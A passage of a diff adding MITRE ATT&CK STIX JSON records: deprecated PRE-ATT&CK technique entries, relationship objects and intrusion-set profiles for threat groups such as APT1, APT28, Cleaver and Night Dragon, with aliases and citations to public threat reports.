"description": "GReAT. (2013, January 17). \u201cRed October\u201d. Detailed Malware Description 4. Second Stage of Attack. Retrieved March 7, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1139", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--616238cb-990b-4c71-8f50-d8b10ed8ce6b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Use multiple DNS infrastructures", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1327).\n\nA technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1327", + "external_id": "T1327" + }, + { + "source_name": "KrebsStLouisFed", + "description": "Brian Krebs. (2015, May 18). St. Louis Federal Reserve Suffers DNS Breach. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_detectable_by_common_defenses_explanation": "This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information. However, tracking multiple DNS infrastructures will likely require multiple tools/services or more advanced analytics.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Requires more planning, but feasible.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1104", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "relationship--bbb1c074-a93a-4e40-b11e-2151403f7f1d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "modified": "2018-10-17T00:14:20.652Z", + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1", + "relationship_type": "related-to", + "target_ref": "attack-pattern--c721b235-679a-4d76-9ae9-e08921fccf84" + }, + { + "id": "relationship--0adf353d-688b-46ce-88bb-62a008675fe0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used servers in China, the U.S., and the Netherlands in an attempt to hide their operations.(Citation: McAfee Night Dragon)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402", + "type": "relationship", + "modified": "2019-03-25T14:36:29.818Z", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "id": "relationship--c6e43693-2a6d-4ba8-8fa7-ec1ab5239528", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used third party hosting services in the U.S. in an attempt to hide their operations.(Citation: McAfee Night Dragon)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6", + "type": "relationship", + "modified": "2019-03-25T14:36:29.820Z", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "id": "relationship--46f1e7d4-4d73-4e33-b88b-b3bcde5d81fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "modified": "2018-10-17T00:14:20.652Z", + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "attack-pattern--a757670d-d600-48d9-8ae9-601d42c184a5", + "relationship_type": "related-to", + "target_ref": "attack-pattern--af358cad-eb71-4e91-a752-236edc237dae" + }, + { + "id": "relationship--ef32147c-d309-4867-aaba-998088290e32", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "modified": "2018-10-17T00:14:20.652Z", + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "attack-pattern--7718e92f-b011-4f88-b822-ae245a1de407", + "relationship_type": "related-to", + "target_ref": "attack-pattern--0722cd65-0c83-4c89-9502-539198467ab1" + }, + { + "id": "relationship--e4501560-7850-4467-8422-2cf336429e8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "modified": "2018-10-17T00:14:20.652Z", + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f", + "relationship_type": "related-to", + "target_ref": "attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05" + }, + { + "id": "relationship--db10491f-a854-4404-9271-600349484bc3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) hijacked FQDNs associated with legitimate websites hosted by hop points. Mandiant considers them to be \u201chijacked\u201d since they were originally registered for a legitimate reason but are used by APT1 for malicious purposes.(Citation: Mandiant APT1)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--aadaee0d-794c-4642-8293-7ec22a99fb1a", + "type": "relationship", + "modified": "2019-08-20T13:08:13.223Z", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "id": "relationship--f8559304-7ef6-4c48-8d76-a56ebf37c0be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT16](https://attack.mitre.org/groups/G0023) has compromised otherwise legitimate sites as staging servers for second-stage payloads.(Citation: FireEye EPS Awakens Part 2)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "source_name": "FireEye EPS Awakens Part 2" + } + ], + "source_ref": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", + "relationship_type": "uses", + "target_ref": "attack-pattern--e51398e6-53dc-4e9f-a323-e54683d8672b", + "type": "relationship", + "modified": "2019-03-22T14:20:45.685Z", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "id": "relationship--6ba71250-1dc7-4b8d-88e7-698440ea18a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "modified": "2018-10-17T00:14:20.652Z", + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88", + "relationship_type": "related-to", + "target_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a" + }, + { + "id": "relationship--984d13eb-ba9c-4e7c-8675-85dde9877a81", + "created_by_ref": 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(2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "relationship_type": "uses", + "target_ref": "attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93", + "type": "relationship", + "modified": "2019-03-22T20:00:23.837Z", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "id": "relationship--a34c16e9-bc7e-45f5-a9a2-8b05d868e6a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) used privately developed and customized remote access tools.(Citation: McAfee Night Dragon)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. 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TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html", + "source_name": "FireEye TRITON 2019" + } + ], + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used dynamic DNS.(Citation: FireEye TRITON 2019)", + "relationship_type": "uses", + "id": "relationship--21842707-0f15-43bf-bc42-2bceadf2cfa2", + "type": "relationship", + "modified": "2019-04-29T18:59:16.596Z", + "created": "2019-04-24T19:45:44.212Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "target_ref": "attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "description": "[APT1](https://attack.mitre.org/groups/G0006) compromised a vast set of 3rd party victim hop points as part of their network infrastructure. For example, [APT1](https://attack.mitre.org/groups/G0006) hijacked FQDNs associated with legitimate websites hosted by hop points. Mandiant considers them to be \u201chijacked\u201d since they were originally registered for a legitimate reason but were used by APT1 for malicious purposes.(Citation: Mandiant APT1)", + "relationship_type": "uses", + "id": "relationship--980656e3-ba60-49ee-9ce8-cbe1a0dc65c5", + "type": "relationship", + "modified": "2020-03-25T13:59:27.774Z", + "created": "2020-03-25T13:59:27.774Z" + }, + { + "id": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "The MITRE Corporation", + "identity_class": "organization", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "identity", + "modified": "2017-06-01T00:00:00.000Z", + "created": "2017-06-01T00:00:00.000Z" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT1", + "description": "[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0006", + "external_id": "G0006" + }, + { + "source_name": "APT1", + "description": "(Citation: Mandiant APT1)" + }, + { + "source_name": "Comment Crew", + "description": "(Citation: Mandiant APT1)" + }, + { + "source_name": "Comment Group", + "description": "(Citation: Mandiant APT1)" + }, + { + "source_name": "Comment Panda", + "description": "(Citation: CrowdStrike Putter Panda)" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + }, + { + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda" + } + ], + "aliases": [ + "APT1", + "Comment Crew", + "Comment Group", + "Comment Panda" + ], + "modified": "2020-10-22T18:35:55.290Z", + "created": "2017-05-31T21:31:47.955Z", + "x_mitre_version": "1.3" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT16", + "description": "[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0023", + "external_id": "G0023" + }, + { + "source_name": "APT16", + "description": "(Citation: FireEye EPS Awakens Part 2)" + }, + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "aliases": [ + "APT16" + ], + "modified": "2020-10-12T19:54:58.537Z", + "created": "2017-05-31T21:31:56.270Z", + "x_mitre_version": "1.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT17", + "description": "[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0025", + "external_id": "G0025" + }, + { + "source_name": "APT17", + "description": "(Citation: FireEye APT17)" + }, + { + "source_name": "Deputy Dog", + "description": "(Citation: FireEye APT17)" + }, + { + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "source_name": "FireEye APT17" + } + ], + "aliases": [ + "APT17", + "Deputy Dog" + ], + "modified": "2020-10-13T22:33:14.018Z", + "created": "2017-05-31T21:31:57.307Z", + "x_mitre_version": "1.1" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "APT28", + "description": "[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165.(Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)\n\n[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations.(Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034). ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "G0007", + "url": "https://attack.mitre.org/groups/G0007", + "source_name": "mitre-attack" + }, + { + "source_name": "APT28", + "description": "(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)" + }, + { + "source_name": "SNAKEMACKEREL", + "description": "(Citation: Accenture SNAKEMACKEREL Nov 2018)" + }, + { + "source_name": "Swallowtail", + "description": "(Citation: Symantec APT28 Oct 2018)" + }, + { + "source_name": "Group 74", + "description": "(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "Sednit", + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018)" + }, + { + "source_name": "Sofacy", + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "Pawn Storm", + "description": "(Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)" + }, + { + "source_name": "Fancy Bear", + "description": "(Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)" + }, + { + "source_name": "STRONTIUM", + "description": "(Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)" + }, + { + "source_name": "Tsar Team", + "description": "(Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)" + }, + { + "source_name": "Threat Group-4127", + "description": "(Citation: SecureWorks TG-4127)" + }, + { + "source_name": "TG-4127", + "description": "(Citation: SecureWorks TG-4127)" + }, + { + "source_name": "NSA/FBI Drovorub August 2020", + "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF", + "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020." + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/", + "description": "Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.", + "source_name": "Ars Technica GRU indictment Jul 2018" + }, + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "url": "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign", + "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.", + "source_name": "SecureWorks TG-4127" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "source_name": "GRIZZLY STEPPE JAR", + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" + }, + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018." + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", + "source_name": "ESET Zebrocy May 2019" + }, + { + "source_name": "US District Court Indictment GRU Oct 2018", + "url": "https://www.justice.gov/opa/page/file/1098481/download", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020." + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + }, + { + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html", + "source_name": "Talos Seduploader Oct 2017" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018." + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019." + }, + { + "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/", + "source_name": "Microsoft STRONTIUM Aug 2019" + }, + { + "source_name": "Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020", + "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020." + } + ], + "aliases": [ + "APT28", + "SNAKEMACKEREL", + "Swallowtail", + "Group 74", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127" + ], + "modified": "2020-10-06T23:32:21.793Z", + "created": "2017-05-31T21:31:48.664Z", + "x_mitre_contributors": [ + "S\u00e9bastien Ruel, CGI", + "Drew Church, Splunk", + "Emily Ratliff, IBM", + "Richard Gold, Digital Shadows" + ], + "x_mitre_version": "3.0" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Cleaver", + "description": "[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0003", + "external_id": "G0003" + }, + { + "source_name": "Cleaver", + "description": "(Citation: Cylance Cleaver)" + }, + { + "source_name": "Threat Group 2889", + "description": "(Citation: Dell Threat Group 2889)" + }, + { + "source_name": "TG-2889", + "description": "(Citation: Dell Threat Group 2889)" + }, + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + }, + { + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/", + "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.", + "source_name": "Dell Threat Group 2889" + } + ], + "aliases": [ + "Cleaver", + "Threat Group 2889", + "TG-2889" + ], + "modified": "2020-10-15T16:59:26.732Z", + "created": "2017-05-31T21:31:46.390Z", + "x_mitre_version": "1.2" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Night Dragon", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0014", + "external_id": "G0014" + }, + { + "source_name": "Night Dragon", + "description": "(Citation: McAfee Night Dragon)" + }, + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight 